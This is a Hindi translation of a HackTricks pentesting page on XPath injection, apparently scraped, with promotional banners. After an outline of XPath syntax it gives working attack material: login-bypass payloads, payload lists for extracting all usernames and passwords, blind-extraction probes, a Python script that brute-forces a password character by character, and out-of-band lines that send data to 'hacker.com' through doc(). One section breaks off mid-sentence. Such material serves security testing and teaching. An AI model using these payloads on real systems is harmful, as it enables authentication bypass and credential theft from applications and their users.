hacktricks/pentesting-web/xpath-injection.md

20 KiB

XPATH अंदरघात

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

HackenProof Discord सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!

हैकिंग इंसाइट्स
हैकिंग के रोमांच और चुनौतियों में डूबने वाली सामग्री के साथ जुड़ें

रियल-टाइम हैक समाचार
तेजी से बदलती हैकिंग दुनिया के साथ अप-टू-डेट रहें रियल-टाइम समाचार और अंदाज़ में

नवीनतम घोषणाएं
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफॉर्म अपडेट के साथ सूचित रहें

हमारे साथ जुड़ें डिस्कॉर्ड पर और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!

मूल वाक्य-रचना

XPath अंदरघात नामक एक हमला तकनीक का उपयोग किया जाता है जो एप्लिकेशनों का लाभ उठाता है जो उपयोगकर्ता इनपुट के आधार पर XPath (XML पथ भाषा) क्वेरी बनाते हैं ताकि XML दस्तावेज़ को क्वेरी या नेविगेट कर सकें।

विवरणित नोड्स

व्यक्तियों का चयन करने के लिए एक्सएमएल दस्तावेज़ में विभिन्न नोड्स का चयन किया जाता है। इन व्यक्तियों और उनके विवरणों को निम्नलिखित रूप में संक्षेपित किया गया है:

  • नोडनाम: "नोडनाम" नाम के सभी नोड्स का चयन किया जाता है।
  • /: मूल नोड से चयन किया जाता है।
  • //: वर्तमान नोड से चयन किया जाता है, चाहे वे दस्तावेज़ में कहीं भी हों।
  • .: वर्तमान नोड का चयन किया जाता है।
  • ..: वर्तमान नोड का माता-पिता चयन किया जाता है।
  • @: विशेषताएँ चयनित की जाती हैं।

XPath उदाहरण

पथ व्यक्तियों और उनके परिणामों के उदाहरण निम्नलिखित हैं:

  • पुस्तकालय: "पुस्तकालय" नाम के सभी नोड्स का चयन किया जाता है।
  • /पुस्तकालय: मूल तत्व पुस्तकालय का चयन किया जाता है। यह ध्यान देने योग्य है कि एक तत्व के लिए एक पूर्ण मार्ग का प्रतिनिधित्व एक स्लैश (/) से शुरू होने वाले मार्ग द्वारा किया जाता है।
  • पुस्तकालय/पुस्तक: पुस्तकालय के बच्चे पुस्तक तत्व सभी चयनित होते हैं।
  • //पुस्तक: दस्तावेज़ में सभी पुस्तक तत्वों का चयन किया जाता है, उनके स्थान के बावजूद।
  • पुस्तकालय//पुस्तक: पुस्तकालय तत्व के अधीन स्थित सभी पुस्तक तत्वों का चयन किया जाता है, चाहे वे पुस्तकालय तत्व के नीचे किसी भी स्थान पर हों।
  • //@भाषा: सभी "भाषा" नामक विशेषताएँ चयनित की जाती हैं।

प्रेडिकेट का उपयोग

चयन को सुधारने के लिए प्रेडिकेट का उपयोग किया जाता है:

  • /पुस्तकालय/पुस्तक[1]: पुस्तकालय तत्व के पहले पुस्तक तत्व बच्चा चयनित होता है। IE संस्करण 5 से 9 के लिए एक उपाय, जो पहले नोड को [0] के रूप में सूचीत करते हैं, वह है JavaScript के माध्यम से XPath को SelectionLanguage के रूप में सेट करना।
  • /पुस्तकालय/पुस्तक[last()]: पुस्तकालय तत्व के अंतिम पुस्तक तत्व बच्चा चयनित होता है।
  • /पुस्तकालय/पुस्तक[last()-1]: पुस्तकालय तत्व के अंतिम से पहले का पुस्तक तत्व बच्चा चयनित होता है।
  • /पुस्तकालय/पुस्तक[position()<3]: पुस्तकालय तत्व के पहले दो पुस्तक तत्व बच्चे चयनित होते हैं।
  • //शीर्षक[@भाषा]: सभी "भाषा" विशेषताएँ वाले शीर्षक तत्व चयनित होते हैं।
  • //शीर्षक[@भाषा='en']: "भाषा" विशेषता मान "en" वाले सभी शीर्षक तत्व चयनित होते हैं।
  • /पुस्तकालय/पुस्तक[मूल्य>35.00]: 35.00 से अधिक मूल्य वाले पुस्तक तत्वों का पुस्तकालय से चयन किया जाता है।
  • /पुस्तकालय/पुस्तक[मूल्य>35.00]/शीर्षक: 35.00 से अधिक मूल्य वाले पुस्तकालय के पुस्तक तत्वों के शीर्षक तत्व चयनित होते हैं।

अज्ञात नोड्स का संभालन

अज्ञात नोड्स के मिलान के लिए वाइल्डकार्ड का उपयोग किया जाता है:

  • *: किसी भी तत्व नोड के मिलान के ल
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

जानकारी तक पहुंचें

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

पहचान और स्कीम चुराना

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

प्रमाणीकरण बायपास

क्वेरी का उदाहरण:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

उपयोगकर्ता और पासवर्ड में OR बायपास (दोनों में समान मान)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

नल अभिव्यक्ति का दुरुपयोग

Username: ' or 1]%00

यूजरनेम में या पासवर्ड में डबल या (केवल 1 वंलरेबल फ़ील्ड के साथ वैध है)

महत्वपूर्ण: ध्यान दें कि "और" पहला ऑपरेशन है जो किया जाता है

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

स्ट्रिंग निकालना

आउटपुट में स्ट्रिंग होती है और उपयोगकर्ता मूल्यों को खोजने के लिए उन्हें परिवर्तित कर सकता है:

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

अंधा शोध

मान की लंबाई प्राप्त करें और तुलनाओं द्वारा उसे निकालें:

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

पायथन उदाहरण

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

फ़ाइल पढ़ें

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

OOB शोध

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

स्वचालित उपकरण

संदर्भ

HackenProof Discord सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!

हैकिंग इंसाइट्स
हैकिंग के रोमांच और चुनौतियों में डूबने वाली सामग्री के साथ जुड़ें

रियल-टाइम हैक न्यूज़
तेजी से बदलती हैकिंग दुनिया के साथ रियल-टाइम समाचार और अंतर्दृष्टि में अपडेट रहें

नवीनतम घोषणाएं
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफॉर्म अपडेट के साथ सूचित रहें

Discord पर हमारे साथ जुड़ें और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!

शून्य से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके: